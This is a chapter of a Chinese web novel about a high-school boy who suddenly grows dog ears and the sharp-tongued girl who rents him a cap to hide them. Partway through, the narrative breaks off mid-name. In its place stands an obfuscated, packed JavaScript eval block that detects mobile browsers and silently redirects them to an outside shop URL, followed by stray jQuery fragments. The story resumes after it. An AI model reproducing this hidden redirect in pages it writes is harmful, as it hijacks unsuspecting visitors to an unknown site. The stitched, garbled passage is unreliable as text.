河水里映出两只雪白的毛绒三角耳,内里甚至是荒谬的粉色。
此刻,这对狗狗耳朵猛地摇晃了起来,它们的新主人向后跌坐在了地上。
陆巡这辈子没有这么震惊过。
他真的破防了。
脚步声越来越近,他忍不住抬头喊道:“你……你对我做了什么?”
林风临径直越过了他,在他旁边的河岸上来回摸索。
只留给他一个无情的校服背影。
原野中学的校服蓝白相间,背后两排校训:
“人好做,做好人;事难为,为难事。”
无情的字眼仿佛在嘲笑他。
陆巡第十二次伸手扯这对无辜的毛茸茸耳朵,但除了展现它们良好的弹性以及让他疼得面容扭曲之外,毫无作用。
陆巡的天真的塌了!
他知道自己不算什么好人,但是……起码是个人吧?
十七年的做人信念崩塌了!
而旁边那个莫名其妙的林风临甚至还在找她的另一支筷子!!!
这是什么人哪?
这是什么样的世界啊?
陆巡终于崩溃了,他从河岸上一骨碌爬起来,大吼道:“别找了!”
林风临忙碌的背影一顿,她面无表情转过身来,手里还揪着一把草。
她白皙的手指缓缓收紧,簌簌草屑落下,挤出的汁水顺着指缝流淌。
一滴,两滴,三滴。
陆巡头上的耳朵突然抖了抖,他更大声地命令道:“我来找!!!”
十分钟后,陆巡黑着脸把失落的筷子递给了林风临。
林风临带着欣赏接过,诧异点评:“真没看出来,你还是个搜救犬。”
陆巡的拳头握紧了:“你能不能别再叫我狗了!我已经很难受了你看不出来吗!”
“看出来了”,林风临点点头,“那又怎样?我说的都是实话。你难受是你的问题。”
“怎么会是我的问题!”
陆巡咬着牙,感觉十二万分的糟心。
他自小在外面闯,长得凶又胆大,遇见谁都没怕过,10岁以后更是没吃过亏。
没人敢惹他,惹了他就一定会付出代价。
他像只没人要的野狼,每根毛都写着滚远点。
上了高中之后,他的身高一跃蹿到了一米八,配上他越长越锋利逼人的面孔,更显得戾气十足。
已经很久没有人当他面这样挑衅他了。
偏偏这个奇怪的女生捏住了他的把柄。
突然长出的非人部位,成了他最大的弱点。
他不敢想,如果这个事情让别人知道了……
他得有多少人要揍!
这么大的工程,他会累死的!
而且,麻烦,很麻烦!
想到这里,陆巡忍住气,抬起头,走近了林风临。
他的步伐是练过的,为了在打架的时候显得更有气势,更能震慑住人。
当他板起面孔,黑沉沉的目光盯住对方,一步步逼近,对方通常都会谨慎地退后两步。
但是这次,对面的这个女生不知道是缺根筋还是根本不怕,站在那一动不动,冷冷地盯着他。
陆巡竟然感觉到了她身上升腾的怒气。
压住这种错乱的荒谬感。
他一步步走向她,直到把她笼罩在自己的阴影里,她白皙柔软的面容近在咫尺。
陆巡突然觉得有点刺眼,他稍偏了偏头,尽量绷住了威胁的语气:“我头上长东西的事,保密。要是告诉别人,我不会放过你。”
耐着性子听他发表意见的林风临,翻了一个巨大的白眼,“谁稀罕提起你?你是谁啊?让路!”
陆巡不敢相信地吸了一口气,又仔细低头看她,圆圆的眼睛,秀气的鼻子,小小的嘴,怎么会是说出这种话的人呢?
怎么会有人嚣张到这种程度?她就一点都不怕他?
林风临看陆巡纹丝不动,气上心头,她退了两步一个助跑就冲着他顶了过去!
而陆巡,不愧是打架熟手,即便是在极端的迷惑和不解中,也迅速做出了反应,立刻侧身弓腰跳到了一边,给她让出了路。
林风临像牛犊似的冲出去了一段才站住,她回头瞥了他一眼:“早让路不就行了?跟听不懂人话似的。”
行,陆巡这下听懂了。
他懂了这是个吃软不吃硬的女孩子。
太奇怪了,他自己不也是这种人吗?
以前也没觉得自己有这么嚣张啊?
陆巡想,算了,毕竟她救了自己一命。
要不是她,自己可能掉进河里都没人发现。
那就说点好话吧。
陆巡追上她,“等等,我错了。我重说行吗?请你帮我保守秘密。”
林风临停住脚步,回过头,打量着他。
陆巡背着光更显得高了,身材清瘦,眉骨很高,睫毛黑沉沉压着,丹凤眼锐利上挑,配上高挺的鼻梁,和总是抿着的唇,煞气确实扑面而来。
但是头上此刻顶着的两只可爱萌耳朵,完完全全把他的画风带到了奇怪的地方。
不得不说,挺让人移不开眼的。
反差感,还有种……诡异的可爱。
简单来说就是:噫,这什么?看一眼!
噫,这什么,再看一眼!
林风临这么看了他好几眼,再瞥他现在有点恳切的表情,气消了一大半。
她平和地说:“其实不用太过在意,这根本不算什么秘密。我都懒得说。”
陆巡听着她语气缓和了,想着有戏,再加把劲。
但是他很久没说过好听话了,说些什么呢?
脑中那些人混合着怜悯和优越感的脸一闪而过,陆巡突然有了灵感。
午后树林里,树叶沙沙,他傲气的脸浮上脆弱的神色,声音低低的:
“我怕被别人嘲笑,我已经够是个异类了。大家本来就看不惯我。他们如果发现我长出了这样可笑的棉花耳朵,我就连最后一点气势也失去了……”
陆巡的睫毛垂下,落下阴影,一下一下眨在人的良心上。
林风临从他说第一句话就开始皱眉,等到他说完,她忍不住发问了:
“为什么狗耳朵就没气势?难道要长出一对牛角才行吗?”
陆巡:……
好累。该死的,我竟然不觉得意外了。
从她嘴里说出什么都正常。
陆巡抬起手捏了捏眉头,麻木地说:“……总之,请你不要告诉别人。”
“可以。”林风临点点头,补充道,“前提是你记得还钱。”
陆巡觉得自己好像得高血压了。
他伸手指着林风临,说不出话来。
总觉得他会被这个人气得少活十年。
后来的卑微交易,陆巡已经不愿意再回想。
总之,他追着充钱才得到了和她好声好气交流的机会,忍痛氪金得到了她不计前嫌的掩护。
林风临纡尊降贵,为他跑回教室,拿来了自己的红色鸭舌帽,给他戴着藏耳朵。
租金30块钱一天,不满一天按一天算。
返还时帽子如果变形,赔偿80元。
天知道,陆巡本来是要溜出学校潇洒去的!
但是这个帽子的租金都欠下了,不物尽其用总觉得太亏了。
去校外见的人太少了,还是学校里的人群密集,性价比高。
陆巡面无表情地扣上帽子,挪了挪位置,感觉耳边的杂音少了很多,舒服了一点。
但是……帽子里被压趴下的Q弹小三角有点受罪。
管他呢!
现在有更好玩的事儿要做。
林风临给他递完帽子就走了,她赶着去上午自习,还特意叮嘱陆巡离她远点,不要和她一起回班。
哼。
陆巡嘴角扬起一抹恶劣的笑容,他会那么听话吗?
耳边风声呼呼作响,周边的人影一闪而过。
陆巡全力奔跑,校服衣摆高高扬起。
很快,他就在三三两两的人群中间看到了林风
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326804|199130||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
临。
他目标明确,轻盈又不失张扬地在她周边人群中穿梭。
直到他稳稳跟上了她的步伐。
身后一阵小小的惊呼,旁边突然多了一个人。
林风临转头对上了陆巡得意的眼神,他顶着周边人的目光,大声说:
“好巧啊!这不是林风临吗?你也来上学啊?”
周围各式各样的好奇眼光打在脸上。
林风临的拳头又硬了,但是想到这个傻大个要赔她那么多精神损失费,她又默默按捺住了。
“是啊,陆巡同学!你这帽子真好看,像是女孩子戴的。”她笑盈盈回敬道。
两人并肩而行,脸上的神情都热切得不像话,在旁边的学生们看来,那叫一个亲密融洽。
陆巡皮笑肉不笑地说:“女孩子戴起来俗气,我戴着才叫帅气呢。”
“哦,确实是我太传统了,不如明天我给你带条裙子来?陆巡同学再帅气一把,让我开开眼界呗。”
两个人越走越近,快掐起来了。
午自习快要开始了,陆陆续续回教室的人稀疏可见。
这对债主冤家的身影在后面人看来,显眼得像一群正确答案里的红叉叉。
刚从校外回来的高二年级教导主任赵宏,望着他们的方向,皱起了眉头。
林风临还不知道自己在教导主任那挂上号了。
至于陆巡,就算知道他也不在意,何况以他的口碑,估计早就上教导主任的暗杀名单了。
债多了不愁。
此刻他坐在教室后排,正聚精会神地……闭着眼睛。
午自习的教室里很安静,班主任鲁老师没来,此刻坐在讲台上看自习的是他们班的班长方婉。
她长得精致漂亮,洋娃娃似的唇红齿白,连束在脑后的马尾辫都微微带卷。
方婉的目光从后排睡觉的陆巡和他有多动症的同桌身上一掠而过,像是什么都没看见似的。
但是扫过教室第一排窗户旁的某个人时,却顿了顿。
那个人正低着头,脊背挺得笔直,下笔不停,像开了机关枪似的。
她在心里轻轻嗤了一声,又感觉到一种紧迫感,于是低下了头,奋笔疾书起来。
余光瞥着讲台的林风临见状,用手肘轻轻碰了碰自己的同桌李月然,做了个“饿饿饿饿”的口型。
被那个半人狗害得午饭都没吃上,自习课还要写数学大题,林风临真的快饿死了,她都听见自己肚子叫了!
同桌李月然肯定也听见了,呜呜。
但李月然是个每天上学都会给她带小零食的天使,所以林风临可以向她求救。
接过同桌的地下投喂,林风临因为饥饿而暴躁的情绪终于稳定下来。
天使在人间啊!!!
后排的陆巡虽然闭着眼睛,但是并没有睡着。
他正在尝试驯服头顶的野生毛耳朵。
这对耳朵实在太娇气了!
不戴帽子嫌吵,戴了帽子嫌闷。
而且此刻明明在帽子底下,却还是听得太多太远,让人心烦意乱。
等等。
陆巡突然想到。
自己和林风临在小树林吵架的时候,也没觉得她说话的声音音量不对劲呀。
难道是注意力转移的原因?
还是说这对耳朵像个天线,可以自己调节呢?
他专注隐蔽地尝试把注意力引向自己新长出的耳朵,得到了立即的回应。
这种感觉很奇怪,就像闭着眼睛,也能感觉到自己控制手指的屈伸一样。
陆巡此刻看不见头上的耳朵,但他能感觉到,还能控制它们的竖起和贴伏,甚至还能抖动。
他尝试着让毛绒耳朵趴下来,贴紧脑袋。
果然,效果立竿见影,周围的音量正常了。
哇!很高级嘛!
陆巡有点得意,但刚刚沾沾自喜了没一会儿,脑中就冒出了一个让人不愿回答的问题:
所以,在小树林的时候,为什么他没有觉得林风临吵呢?